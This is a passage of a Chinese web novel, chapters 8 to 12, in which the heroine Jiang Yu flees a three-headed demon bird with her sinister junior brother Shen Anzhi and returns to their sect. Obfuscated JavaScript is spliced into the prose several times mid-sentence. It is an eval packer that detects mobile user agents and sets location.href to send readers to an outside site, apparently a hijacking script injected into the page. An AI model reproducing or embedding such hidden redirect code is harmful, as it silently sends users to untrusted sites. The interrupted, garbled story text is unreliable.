“好了没。” “吃完这一块。”姜喻胡塞进嘴里。 陡然一道灵气波动里震荡靠近,诡市上下剧烈摇晃,姜喻踉跄着站起来顺手抓住一侧沈安之的手腕。 沈安之微微皱眉,拂袖微不可察地甩来她的手腕。 一道清脆的鸣啼,似怒,似怨。 姜喻好奇地循声望去,远处倒塌的房屋后一只庞大的三头鸟破空飞出,全身坚硬的黑色羽毛,头似鹰,似兽爪,周身法力波纹不断向四周冲击。 无人知道意外会比明天哪一个先来到。 姜喻心有不妙,那畜牲俯冲向姜喻所在的茶摊,一个头仰天鸣叫,两个头虎视眈眈。黑翼所到之处化为人仰马翻,一片混乱。 “完了完了,冲我们来的,别愣着了师弟,快跑呀!” 姜喻心急如焚,几乎是下意识去抓沈安之的胳膊,沿路向着障碍物多房屋,狭隘之处逃跑。 沈安之步伐轻松跟上,略带不解,一丝晦暗的光淹没在笑得意味不明声音里。 三头鸟执拗于两人,首当其冲所在位置。姜喻气喘吁吁地避开纷纷扬扬的掉落物,余光瞥见顺从跟她跑的沈安之,神色一贯的波澜不惊,似乎还带来一丝兴奋? 8. 第8章 穿过拐角是四散的人群,姜喻想好往左边先逃,她紧紧拉着沈安之的胳膊被人撞开,整个人差点撞墙。 她稳住身形回头,沈安之的身影消失。 “师弟?”姜喻有些心慌,偏偏那头三头鸟对她穷追不舍,不达目的不罢休。 姜喻没时间寻找,拔腿就跑。 三头鸟仰头叫嚣,一时不察,锋利地鸟羽剐蹭在她胳膊上,疼得她哆嗦闷哼一声,几乎匍匐着失足跌倒。 手心和膝盖疼得她眼尾瞬间红了。 廊下阴影里,沈安之漫不经心擦拭着铜钱剑。看清不远处她跌倒无助的样子,膝盖染了血,沁在绯红衣裙上洇出点点梅花。 姜喻爬起来转身还未跑,一头撞进一个人怀里,闭眼前她看见有一道金色剑光闪过。 四枚铜钱立于四方,将三头鸟囚困其中,它勃然大怒,羽翼化作箭矢。 有人快速拉着她胳膊闪身避开。 利落挽着剑花,露出苍白腕骨,陡然弯腰,他银色耳饰坠下的红色穗子刮过她耳廓。指尖轻轻划过她染血的袖口,声音裹着冷飕飕却梅子酒般暗藏兴奋的颤音:“师姐怎么把自己弄脏了?” 姜喻抬眸看见是沈安之松了一口气,站直身体退后一步,小声嘀咕,“跑慢了。” 沈安之忽而一笑,看向姜喻,笑意化为阴冷的气息,“下次再沾上血……师弟清理起来会很麻烦呢。毕竟,师姐喜欢把衣物丢给我。”最后几个字他略带咬牙蹦出来。 不说姜喻几乎忘了书中描述这茬,她干笑垂眸吹了吹手心的灰尘,“你放心,师姐自己洗。” 三头鸟趁机脱离沈安之掌控,强悍妖力化作攻击,他用铜钱剑格挡,姜喻眼前一花,展翅闪现三头鸟锋利尖爪勾着她后衣襟,提着她这个倒霉蛋狂飞乱飞,像做过山车一样。 “啊——” 地面沈安之执剑,她入雾的眼瞳中化为一个黑点消失。 “救命——” 诡市结界轰然碎裂,三头鸟裹挟黑雾冲天而起。 姜喻被利爪贯肩悬在半空,殷红顺着绯红的衣袂蜿蜒滴落。她不知道飞到了哪,疼得晕眩得抽了抽鼻子,眼前阵阵发黑。 若非强迫自己咬破舌尖强撑一丝清明,她早已昏死过去。 攻击性威压具象化,毫不留情地释放,像一座沉重的大山压下来。 森寒的鸟喙已近在咫尺,厉啸着将她甩向万丈高空,眼尖它的俯冲,姜喻忍着头晕反手将符箓贴上它的鸟爪。 炽阳符释放的火攻疼得它剧烈鸣叫,趁势袭来,她借势攥住翎羽翻身跃上脊背,不给它喘息的机会。 “你这三头鸟真当我吃素……”话音刚落,她陡然噤声。 姜喻看清三头鸟颈后羽毛间赫然嵌着三张腐肉粘连的面孔!五官扭曲但勉强成型,扭曲人面上淡红瞳孔猝然睁开,可怖惊悚獠牙密布的口中迸出刺耳尖啸。 姜喻忍无可忍,扔出一踏的炽阳符直贯鬼面咽喉。 “你当你是‘折叠手机’啊,怎么折都有面!” 金光暴涨,碎羽纷飞。 随着爆炸声,失重下,她纵身跃入翻涌云海。 罡风贯耳,割得脸颊沁血,她仍扯着破碎衣带试图稳住身形,她眼角微红,哽咽着默默摊开手企图掌握风让自身不要飞得如此难受。 可周身随风翻转,完全不听使唤。 姜喻眼前模糊,自来到书中世界日日提心吊胆,如今更能怡然自嘲自乐:“魂飞魄散也罢了……” 再见了该死的世界,下次再也不来了。 尾音逐渐消散在猎猎风声中,她青丝缠绕着坠下的星屑般的符灰坠下。 * 预料中剧痛没有,一人不轻不重地轻拍了拍她的额头。 风声呼啸耳边,吹起凌乱的发丝。 活人微死,勿扰。 姜喻懒得睁开眼,死都不能死得安生。 “睁眼。”熟悉声音,失重感在恍惚的意识中停滞一瞬。亢奋地睁开眼,沈安之单手拎她肩膀稳住她的身形。 两人四目相对。 姜喻手攀上他肩膀稳住身形,沈安之微微挑眉,似笑非笑地紧盯着她:“师姐啊……”他的尾音陡然往上扬,“我倒是小瞧了你。” 难以抑制地哽咽,姜喻眼眶抑制不了得湿润,干哑音色道:“师弟,你可算来了,我是不是得救了……” 就算临死前看见的沈安之。 沈安之微扯唇角,看清她狼狈却自救成功的委屈模样。心里想被什么小猫爪子轻挠了一下,指尖摩挲着她脸颊边缘的小血口,看着指尖染上的血珠,舌尖轻舔了舔。 “师姐,底下是深不见底的寒潭,必定风景不错。”他话锋一转,“你觉得我一定会救你吗?” 冷漠嗓音带着压迫,思绪仿佛又吹回到了悬崖之上。 呼啸的风剐蹭的耳垂微红,吹的她心底拔凉。 心底跟抹了风油精似的,又辣又凉。 姜喻眨了眨眼,一时呆愣。 死脑子,快想个办法。 她不想死。 爆发力量抓紧他胸前衣襟,姜喻亮晶晶地墨眸执拗又坚定,带着孤注一掷地力气,抬眸紧盯着他:“师弟,我可以帮你炼药,你需要的草药我都可以帮你寻到,你、你不能丢下我……” “而且,我知道你在寻找抑晦丹。” 沈安之眉头紧皱,冷笑一声:“师姐说起谎来,脸不红心不跳……” 姜喻气得眼泪差点飙出来,故作镇定道:“我姜喻对天发誓,我曾经在古籍中见过你所寻药草构成的药方,如今还差离梦草、遇青果……” 姜喻在赌,依据原文剧情里,沈安之入魔前穷极半生寻觅的草药,对他意义非凡。 她已无暇争辩,失重感使得她开始耳鸣眼花,神志不清…… 没等姜喻话音落定,沈安之波澜不惊地心潮生了一丝微不可察的起伏,缓慢收敛笑容。两人调转身位,他以自身垫底。 姜喻缩着身子,几乎整个人靠在他怀里,一同坠入深不见底的寒潭中。 “噗通——” “噗通——” 两道落水声。 寒水争先恐后地灌入她的口腔、耳朵,水钻入骨头缝似的,刺骨寒冷。她在水中徒然挣动,犹如误坠寒潭的红雀。可一瞬间,寒意侵入骨髓,如坠在冰窟。无数看不清的手拉拽着她下沉,眩晕地意识逐渐模糊不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜喻半真半假地说:“不知。我才疏学浅,学艺不精,只是偶尔在古籍中看见过药方,不过好奇便记住了下来。”有气无力说完,姜喻压下心虚,对上沈安之的视线浑身不自在。 “师姐真不会撒谎。知道与否,骗我者……”他微凉的指尖似有若无地擦过她的脖颈,皮相温良无害,轻声笑道,“我会杀了你。” 她要活着。 浑身的细胞都在叫嚣着,姜喻强忍着没有挪开目光:“我知道。” 沈安之捞着她,站在召唤出的铜钱剑上。 不真实地感觉,她大脑充血,一根手指都抬不起来。湿发蜿蜒,她理了理粘在唇角的发丝。身子受寒地禁不住发抖,抱臂摸了摸胳膊上的鸡皮疙瘩,抬眸眨了眨眼,“师弟,你能不能帮我烘干一下衣物。” 沈安之指尖虚空划过,法力微光浮现,两人衣物骤然干净如新。 沈安之圣阴仙体,抑晦丹主要功能是阻止圣阴仙体的副作用。由于特殊体质千年难得一遇,这种仙体的副作用具体是什么,就连原著从头到尾都没有写明。 毕竟他只是男二,反派男二。一个不被作者喜欢,被忽视,却赋予了一生的苦难。 姜喻心绪出神之际,头顶阴影笼罩。 那睚眦必报的三头鸟翱翔于天际,法力注入尖锐鸣叫的声波中,破空而来。 9. 第9章 沈安之压抑不住兴奋地抬眸,薄唇浅笑,单手拎着姜喻扛在肩头,执铜钱剑与之三头鸟缠斗。 姜喻被他倒悬在肩头颠得七荤八素,衣裙上的云纹不断摩擦着腰际肌肤。 更要命的是沈安之肩骨正顶着她胃部,胃里翻江倒海,活像把她塞进炼丹炉里,不断煅烧的药材。 姜喻难受地攥着沈安之后襟,不满地轻拍两下,"硌人啊,快放我......" “师姐还想去寒潭游一圈?”沈安之玩味一笑,一边游刃有余回击着重伤未愈的三头鸟,手上忽的泄了三分力道。 “不想。”姜喻抓紧他后襟,惊得耳坠乱晃。 “别动。再动,我就把你扔下去。”沈安之拉开和三头鸟的身位。 姜喻相信沈安之做的出来。 沈安之执剑,金光闪过,剑锋斩下三头鸟一首,溅起三尺血芒。 沈安之反手将肩头的姜喻囿在臂弯,风擦着她耳际呼啸。腥风卷起沈安之束发的那根洗到发白的缎带,"闭眼。" 他温热的呼吸混着铁锈味扑面而来,姜喻还未及言语,沈安之陡然搂着她,铜钱剑在身后织就漫天剑网,将穷追不舍的三头鸟绞作齑粉。 姜喻闻到血腥味,下意识将脸埋进他襟口,双手握紧他腰上暗金色的蹀躞带,上面凹凸的刻纹印入掌心,衣襟的皂角香混着杀伐之气熏得她目眩。 他垂首间,盘绕蝴蝶发髻抵在胸膛前,姜愉身上馨香好似新生蜜桃果香,又如他栗子糖丸的甜味。 味道不难闻。 让他不耐燥郁又带着兴奋的心海稍平复。 * 飞行一阵,足尖触到寒潭尽头黑崖的刹那,沈安之骤然撤了力道。姜喻踉跄着差点撞上石壁,衣袖却被提前被一只修长白皙的手攥紧,拉她一下,护的她周全。 沈安之视线游移在她惊魂未定的苍白脸色,错开交织的视线掠过。 姜喻稳住身形,下意识扭头和他道谢:“谢谢啊。” 沈安之眼睫倏然颤动,一愣,染着血渍的指尖骤然捏碎三头鸟内丹。破碎的内丹在掌心发出诡谲红光,映得他俊逸皮相下带了一抹难以掩藏的邪性。 黏稠妖血和碎片顺着指缝掉落时,他忽然歪头意味不明的浅笑,眼尾朱砂痣在寒风中灼灼生辉,漆黑瞳任里却翻涌着一丝探究。 “师姐要谢我...”他含着气音,沾血的指尖突然划过她颈间,“我可当不起师姐的一声谢。”他站直身体。 姜喻指尖摩挲玩绯红袖口,反应来眨了眨眼。 死嘴,怎么说的比脑子跑的还灵光。 她佯装转身去看远处,后背突然炸出密密麻麻的疼,才发现后背带着伤口,又沾了水,疼地她压下音色“嘶”了一声。 指尖在腰间储物袋翻找出几瓶药,可她分不清哪一个针对性治疗…… 迈步往前准备找个暂时落脚地,余光瞥见她踌躇选择的动作,沈安之微微挑眉。 不顾她睁大眼,自然拿走其中一瓶,拔开塞子倒出一粒,在她惊讶张口的间隙,指尖巧妙将丹药弹进她口中。 在姜喻不解地目光下将药瓶丢还给她,“别磨蹭,走吧。” 姜喻活动胳膊,伤口不仅不疼,连身上都恢复些力气,提着裙裾快步跟上去,“来了。” 日暮渐沉,黑云压境,云层翻涌着碾过飞檐。 姜喻仰颈看了眼方位,沈安之在一旁懒散地伸了个懒腰,他随意寻一间破庙,两人刚一进去,大雨倾盆,枯枝败叶在身后打着旋撞上门扉,恰与惊雷炸响的瞬间重叠。湿冷雾气裹着土腥味漫入破庙,混着陈年腐败的尘土气。 将最后一丝天光浇灭在两人身后。 “这雨...”他指尖随意拂过残破破庙的神龛,惊起簌簌蛛网,“倒是会挑时辰发作。” 他抱臂倚着斑驳的彩绘木柱,听着身后传来姜喻的脚步声,她青丝沾了一根蛛网,避开破庙的漏雨处拿了两个破旧但还算干净的蒲团递给他,“给你,坐下休息吧。” 沈安之目光掠过她的发丝,捻了捻指尖上的铜钱,避开目光,“不用。” 姜喻放在一个在他身边,还放了一些灵果。另一个垫在枯草上,靠着斑驳落皮的彩绘泥塑闭眼小憩。 沈安之盘腿坐下,熟练地堆起柴火、生火,小刀利落地削着几根枯枝,插上一只不知道从哪来的兔子肉烤上。 一时间,谁也没有开口。 香味勾人馋虫。 姜喻再也忍不住睁开眼,几番抬眸视线扫过他……手中的烤兔子。 沈安之忽的嘴角噙着浅笑,转瞬即逝,折断的枯木利落丢进火堆,“有话直说。” “兔子肉……好吃吗?”她真是没话找话。 沈安之抬起树枝,故意在火上轻晃了晃给她看,展示烤得刚刚好的兔子肉滋滋冒油,“师姐想吃?” 姜喻撇开视线,小声嘟囔,“我并没有啊。”掏出果子默默啃了一口。 沈安之熟稔地放上随身携带的调味,很快肉香四溢,勾的姜喻托腮食不下咽手中的灵果。 理智告诉她,沈安之的东西大概率吃不得。可咕咕叫的肚子告诉她,饱死和饿死间,她要选择香死就它要闹了。 听着“咕噜”又叫了一声的不争气的肚子,看他修长细窄的手掰下半条兔子腿,姜喻赶紧捧上灵石,“我要和师弟换。” 沈安之漫不经心地抬眸扫了眼灵石,把兔子腿递给她,“成交。” 姜喻接过烤兔子腿,咽了咽口水,小口咬了一口品尝,满足地喟叹一声,“好吃!” 沈安之慢条斯理地撕下肉,慢慢放入口,“师姐不怕我下毒?” 姜喻是意识到两人达成了默契的共识,他暂时不会出手才敢吃。可听到他这么说心里还是咯噔一下,她抬眸隔着火光直勾勾地望向他,“我相信师弟。” 沈安之放慢咀嚼的速度,忽的垂眸压下眼底难以名状地心绪,她可笑的信任。 姜喻吃的干净,手绢擦了擦沾油的指尖,靠着泥塑昏沉沉睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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漫长的路程百无聊赖,姜喻独自盘腿坐在一旁,昨夜睡的不安稳,她做了一宿沈安之把玩铜钱追她至悬崖上的梦。 不远处,云海翻涌间,风扬起沈安之玄色衣袍,发尾青丝自带的红缭乱在一起。 她托腮想到原书剧情到他们四人回到鹤门宗,小说对于恶女女配描述不多,多数出场是她与跟班们一同欺负沈安之。 一道直白的视线中断了她思绪。 沈安之不知何时在她分神时坐在一旁,姜喻故作镇定地抬眸。顾疏雨行步坐在两人对面,一旁跟着慢摇折扇的方微云。 姜喻看着顾疏雨和方微云,就算不互动只坐在一起她都压不住上扬的嘴角,暗自敛眸一笑,佯装好奇视线落在方微云,“师姐,这位师兄还未正式介绍过吧。” 方微云慢慢地摇晃着折扇,嘴角噙着温润的笑意,“忘了自我介绍,吾乃师承蓬莱阁陆长老座下首席弟子——方微云,字清晏,剑修。” 10. 第10章 方微云轻摇折扇,顺着一道目光扭头看向用眼神对他审视的沈安之,沈安之摩挲着铜钱纹理,懒散地掀了掀眼皮,擦过他视线看向顾疏雨。 姜喻磕的满足,托腮眨了眨眼,嘴角扬起一抹秾丽笑意,有意追问道:“方师兄去我们宗门有何事?” 沈安之猝然被她的那抹笑靥撞入眼底,喉结轻滚,压下眼底晦暗不清的情绪。 “姜师妹,我此番打扰贵宗事关蓬莱阁秘事。”方微云故意卖弄着关子。 她期待的剧情点要来了。 “不过,暂时保密。”方微云在她期待的目光里轻笑,弯月般的眯眯眼,折扇竖起,微靠唇瓣,好似一只狡黠至极的狐狸。 沈安之懒散抬眸,四目相对。 “方师兄,如何巧合遇上顾师姐,还缠着跟我们一道回来。”他语气微微压低,温良浅笑带有一丝压迫感,暗讽道,“还真是缘分不成。” 姜喻诧异地侧眸扫了他一眼,沈安之心厌男主方微云是原著故事线进展到一半,前期他佯装温良正义的小师弟。可现下看,沈安之就差把“别有用心”四字挂脸上。 顾疏雨刚想开口解释,方微云听“缘分”一词,恍若自动忽略了沈安之略带挑衅的话。折扇遮不住上扬的嘴角,“说来巧了,顾师妹风华绝代……”此处滔滔不绝省略几百字。 方微云是只听自己爱听的…… 姜喻没想到,表面禁欲沉稳、温柔稳重的“正道之光”,背地里顾疏雨的死忠粉一个,甚至有些中二。 反差太大!原著误她! 她看原著拉个小手都得激动成尖叫鸡。原来为数不多的感情线的文字描写中,暗含着难以掩饰的偏爱。 但她一想到原著烂尾结局,二人最后一死一疯……改变沈安之结局,就能改变他们的结局。 方微云折扇有一搭没一搭敲在掌心,聊到顾疏雨,他的话匣子彻底打开,露出一抹少年心性的笑意。意识到讲了良久,他轻咳一声:“……最后顾师妹一剑斩狼妖,不愧为鹤门宗宗主首徒。” 姜喻托腮,视线在两人间逡巡。 好好磕。 白鹤翩然落在鹤门宗山门前,顾疏雨率先带方微云面见宗主。 沈安之单手整理袖口,捻起糖块,舌尖卷起深棕色栗子糖没入唇间。瞥了一眼目送二人背影笑得出神的姜喻,他收敛散漫笑意,眸底含着一丝不易觉察得情绪:“呵,师姐看得这般出神?” “没啊。”姜喻收回目光,抬眸对他干笑一声。 笑得别扭…… 对方微云便不一样…… 沈安之倏然顿觉掌心刺痛,垂眸看见不知何时蜷紧在掌心的铜钱,喉间溢出低哑声:“真是好的很……”定是真言术对他影响未消,抬眸时收敛心神,默念三遍清心诀。 “望师姐千万,”他忽的一笑,“莫被旁的事情分了心神,忘了答应我之事。” “我可没有。”姜喻认真道。 目光交汇,沈安之嗤笑一声,大步错开,与她分道而行。 姜喻回眸看见沈安之走的极快。 一拍脑袋,顿感懊恼。 刚刚忘了问往哪走。 两人同宗门却分属鹤门宗不同院门内,沈安之是宗主门下太庆院弟子,顾疏雨亦是。而她身处清心院,两地院门相邻落地。 等沈安之背影化作一个黑点,姜喻缓缓吐出一口浊气。 原著没告诉她地图…… 恰巧迎面有个正下山的女弟子,姜喻快走到师妹跟前,扬起和善的微笑,可眼前不过十几岁的小师妹瑟缩着,把头埋的极低,不敢与她对视。 她放轻声音打听:“这位师妹,清心院可否给我带个路,我以灵石回报。” 女弟子眼神躲闪,仓惶地后撤半步,眼神视她为洪水猛兽,抬指哆嗦地指向右侧山路:“姜、姜师姐,沿着此路走,告辞。” “啊,哦哦,多谢。” 女弟子如释重负,拔腿快走,一副松了一口气的模样。 姜喻沿着山路往上,一路避不开过路的弟子,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜喻手中茶杯掉地,震惊地拍桌而起:“你们把他打了?” 11. 第11章 姜喻耳畔嗡鸣骤起,指节发白。得了,沈安之怕是要给她记一笔新墨,她仿佛能瞧见沈安之似笑非笑的模样。 真是唇亡齿寒。 青衣少年牧凌见她心绪不佳,摸了摸鼻子莫名心虚,试探问道:“师姐可是不放心?下次我们套了麻袋……” “不可!不可有下次。”姜喻抬眸看向他们,认真地提高音量,“以后任何人都不许找沈安之麻烦。” 原著中一笔带过五个人皆是来自清心院和太山院的丹修和符修的地字号甲级弟子,按理说都是各院门天赋不差的弟子。虽跟着原主在鹤门宗并未草菅人命之举,奈何态度趾高气扬、四处树敌,以她作为护盾耀武扬威。 人啊,有人在沉默中就地爆发,有人在沉默里闷声干事给予反击。 很显然,沈安之两者皆是。 姜喻表明态度道:“我看沈安之……看顺眼了,准备收入麾下。你们五人以后安心修炼,不必每日跟着我。若让我听闻你们打着我的旗号又找他,我绝不轻饶。” “姜师姐可你说的不能靠近沈安之妖邪之子,怕他身上的穷酸的煞气惊扰你……” 姜喻掌心重重地拍了拍紫檀案上,理直气壮地证明她的决心:“就是一句玩笑话,玩笑岂能当真……” 她尾音打了个转,只见牧凌对她狂使眼色,看向门外:“师、师姐……” 珍珠帘外传来一道脚步,姜喻顺着牧凌目光瞧去,一脸阴云罩顶的沈安之在帘外看不清她的表情。他耳目极佳,几人对话听得七七八八。 少年玄金色长靴踏碎一室暖阳,撩开珍珠帘对她视线交汇。 看着一招可以拍死她的少年,姜喻强行扯出个笑:“沈安之,师姐以后罩你。” 沈安之半倚着红柱弯唇,眼底没有半分笑意,眼尾朱砂痣随笑意舒展:“师姐打算如何罩我?” 姜喻后颈汗毛倒竖,面上却绽开灿烂的笑靥,杏眼弯成月牙:“自然是......尽其所能啊。”走至他面前顿足,强忍一抹紧张心绪,快速解释道,“今日之事不是我安排……” “师弟……”姜喻逼近半步,发间的馨香缠上他的鼻尖,"信我?" 沈安之目光逐渐下移,指尖无意识地摩挲着一枚铜钱,视线撞入一双认真的妍丽眸子,被这眸光吸引。 少女眼尾洇着桃瓣似的一抹红,瞳仁里却有着春光乍破的亮,晃得沈安之将铜钱攥紧,直到痛得他厌烦张开手。 铜钱铿然坠地。 他侧过脸避开她的目光,颈侧青筋鼓起。 姜喻不解,他这是信她,还是不信…… 他俯身拾起那枚铜钱,“师姐管好自己的人……”说完眸光如寒幽潭下的玄冰扫过其余五人,匆匆离开。 见沈安之走了,姜喻拍拍加快的胸口,松了一口气。 太紧张了,刚刚忘了问沈安之伤势如何? 姜喻回看了眼五人,“你们先回吧。” 莫名被他一个眼神震慑到牧凌不服气,和剩下四人对视一眼,见姜喻眼圈下疲惫的阴影,识趣地离开。 她这才有时间可以好好打量自己的住处。 姜喻提着裙裾上下参观完整个宫殿式的四合院,东西太多她记住不清,唯有书架旁睡懒觉的八哥惹得她注意。她小声喊了喊醒醒,八哥都没有反应遂放弃。 抬眼望去,房间随手摆件都是高出六阶的利器,灵宝触手可得。 倘若小偷来了,绝不空手而归,还得满脸笑意地十辈子吃穿不愁。 可她没心情多欣赏,从紫木檀桌岸的旮旯里搜出五本极其基础的低阶法术入门书籍,里面还有一本记载着关于这个世界的奇闻轶事,奇花异草。 两本炼丹,两本制符,看得通俗易懂。书籍偶尔有几处原主之前所写的批注,姜喻托腮,一页页细看,竟莫名地心领神会。 她看了一遍闭上眼,脑海居然记下来大半部分。 姜喻把书翻过放在桌面,整整齐齐摆放符纸和特质朱砂,对着书上所说依葫芦画瓢,画了一道唤火符。 黄符脱手的瞬间在风中打了个旋儿,纸缘泛起微弱金光。而后飘忽落地,无事发生。 姜喻苦笑一声,不死心地多画了几张黄符,仅有一张纸符在半空散发着微光浮现指甲盖大小的火苗。 目前来看,她记性变好了也不能改变本身修为不佳。 比抽sr卡都可怜的概率。 姜喻又试了原主没有批字的高阶法术,得到验证仅是原主曾经看过的内容,她才能记忆继承到部分知识。 姜喻托腮看着书上的内容,没有捷径可走,只能抓紧时间赶紧学下。 * 翌日,晨曦破晓,微风正好,钟声嘹亮,院外青石阶上露水蜿蜒。 鹤门宗天字号弟子若在宗门,各门派长老指示下,每月初一集合于诺大的白玉堆砌广场,多是说些鼓励大家修炼的开场白。 姜喻昨夜看的太晚,一早在八哥“起床了”高喊声中被叫醒,她匆匆地寻到下山传送阵,差点误了时辰。 人群中,姜喻踮起脚,沈安之俊容尤为瞩目。四肢修长,长相俊俏,看人眸光散漫,长身玉立在顾疏雨几步外。 左右有人窃窃私语,避之不及沈安之身侧,偏就他不以为意。 真不在意吗…… 原文里沈安之身世之谜是鹤门宗津津乐道的一件奇闻,传闻说他是妖邪之子,有人说他是阴尸供养。普遍认为他是顾疏雨从妖邪过境的乱葬岗,死人堆捞出来的唯一活口,邪性大的很,谁相处久了都会触霉头。 偏偏这些话大家不敢,更没人会说到一心修炼的顾疏雨跟前。 姜喻皱起秀眉,左右一瞧,大家习以为常,单独忽略那一道玄色身影。 偏偏沈安之心底为了维持与顾疏雨关系,尽力在她眼前做好一个乖巧的小师弟。 “他何时来的?” “走走走,小心沾了邪气。”两道极低的声音,周围人不动声色地远离了他。 他鸦羽长睫垂下,压下眼底阴翳。 姜喻白玉指节捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542537|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成拳头,果真造谣一张嘴,辟谣跑断腿。 忽视众人诧异地目光,姜喻大大方方地走到沈安之身侧,招手扬唇一笑:“早啊,师弟。” 洗到发白的束发绸缎绑起的墨发,随侧头的动作滑落几缕到肩头,他略微垂眸看向少女的笑靥。 周围是看热闹不嫌事大的弟子,瞄向沈安之,期待他们一如以往发生争吵或辱骂。 “师妹你来了。”顾疏雨听到她的声音回眸,清丽容貌浮现一丝极浅的笑意。 方微云跟来凑热闹,看见顾疏雨嘴角的笑意一下子愣住,恍惚回神咳嗽着恢复一贯的沉稳模样:“姜师妹再不来,就该散场了。” “顾师姐,方师兄,早啊。” 姜喻余光偷瞄沈安之的表情,身子凑到顾疏雨身边。心下思考沈安之单看外表无损,身上哪受伤了? “师姐……”沈安之接受到她目光后移开视线,恹然扯唇,“看我作何?” “我看,师弟长的好看呀……”被他抓住偷看,姜喻干脆笑着承认,一双含笑的眸子看向他。 沈安之怔愣一瞬赶紧回神,眼尾倏地泛起一抹薄红,指尖抵住突跳的额角——分明早该剜那双自作主张的含笑眸子,偏生又着了那笑靥的道,被其蛊惑。 沈安之隐忍着体内逐渐的不平气息,只冒出“随你”两字。 白玉高台之上,白发长老肃容道:“点卯开始。” 姜喻移开视线,见到这具身体的师尊——柳安元,柳真人。 柳真人与姜家颇有渊源,他的道侣是原主过世娘亲的好友,平日亲上加亲,对她很是照拂。 柳真人恨铁不成钢,一月不见姜喻,见她规规矩矩行了一礼,坐高位露出一丝欣慰捋了捋花白的胡须。 鹤门宗宗主谢禾一身交领白袍,长相俊朗,姗姗来迟飞坐于主位之上,他清了清嗓子:“此次泽州妖邪出没,各院弟子皆可下山历练……散了吧。” 点卯完毕。 人群如潮水般退散,姜喻揉着被撞疼的肩头抬眼,一晃眼的功夫,白玉阶前那道人影走出几米远,她大步地跟在他身后:“师弟。” 他长手长脚,如一截瘦削却凌厉的墨竹。少年分明听见她唤,鸦羽似的睫都不曾颤动走得又快。 听着身后小尾巴的脚步急促,不曾落后自己半分,沈安之半吸一口气,双手环胸,缓步而行:“师姐,可有事?” “有事。”姜喻喘着气抬眸,跟上他步伐同行,“师弟,昨日……”话音未落,姜喻身形被人轻拉,差点踉跄了几下,几道人影护挡在她身前。 可若是忽略掉他们皮相各个鼻青脸肿,青紫交加,倒完全不失气势。 沈安之转眸看向她,眸光却凝在她被牧凌拉上的那截皓腕上,心底有难以名状地情绪不停歇,指尖捏紧了铜钱。 他唇角勾起一抹寒津津的弧度:“师兄这般僭越……” 姜喻抽回手,若是起冲突让沈安之受伤,沈安之不得狠狠记恨她。 可她还未开口,变故发生太快。 12. 第12章 转眼间,一道红光挟着破空声闪过,不待人反应,率先对沈安之动手。 动手之人身着白袍,洛无白腰间缠绕的赤鞭如昂首的毒蟒,他五指骤然收紧的刹那,三尺红芒已挟着凛冽破空之声,直击沈安之苍白的面颊。 沈安之眼神一凌,抬手扯住长鞭,掌心血液从指缝蜿蜒。暗藏杀机的兴奋在眼底划过,玩味扬唇,骤然收紧指骨,睫羽下撒下一片阴影掩住阴鸷,法力源源不断注入赤鞭径直崩碎成断。 漫天飞舞的碎屑中沈安之弯唇,笑得怏然,在众人惊骇的目光里,漫不经心地随手撇去落在护腕上的灰屑,对掌心伤口视若无睹。 “这可是上好赤灵莽蛇皮所做长鞭,坚不可摧……”洛无白恼怒得捂住胸口,痛心疾首地看着一地碎屑,怒目而视,紧紧瞪向他,“沈安之,你找死!” “停下!”姜喻眸光落在沈安之渗血的掌心,蹙起秀眉看向洛无白和沈安之,“门规森严,不许私下斗殴。” 洛无白看她这般,原以为她仅仅是一时兴起想到新乐子才会假意对沈安之友好,现在看姜喻真心是在有意偏袒沈安之,心底一百个不乐意和嫉妒。 沈安之如此“心安理得”地“躲”在她身后。 洛无白妒火中烧,紧蹙起眉头,不愿相信追问:“师姐你为何这般护着他?那条可是,师姐赠我的灵鞭。”他神色受伤,视线紧紧盯着姜喻。 沈安之掀开眼皮看向那一抹绯红。 我不仅是护他,也是护住你们和我的小命啊…… 姜喻有口难言,轻咳一声,明眸先一步看向沈安之,义正言辞道:“沈师弟我罩了。以后寻他不痛快,便是寻我姜喻的不痛快。”她又补充一句,“更是寻我风云城不痛快。” 洛无白及四个少年脸色一僵,狗腿似地推着她走到一旁,一个个小心翼翼地盯着沈安之,关切问:“师姐,沈安之胁迫你?” 姜喻内心是小手帕、泪目脸,面色不显,镇定自若道:“谁能威胁我。” 沈安之眉眼略微舒展,视线扫过,多看了姜喻两眼。 洛无白震惊地捏紧拳头:“莫非……”他捂住嘴,瞳孔猛地一缩,惊诧地来回扫视两人,面色微暗。回忆细节师姐视线关注沈安之的频次确实多。 五个少年中年纪最小的青山眼咕噜一转,摸了摸青肿的脸,反应来开口:“师姐既然放话了,此事作罢。” 五人不情不愿地敷衍抱拳行了一礼。 姜喻对沈安之干笑一声,妍丽的眸子眨了眨。 少年们担忧地眼神暗自来回合计,姜喻厚着脸皮把将信将疑几人一个个哄走:“先回吧,有事再来我居所寻我。” 见几人离开,姜喻擦了擦额头不存在的冷汗,侧眸与沈安之的视线交汇。 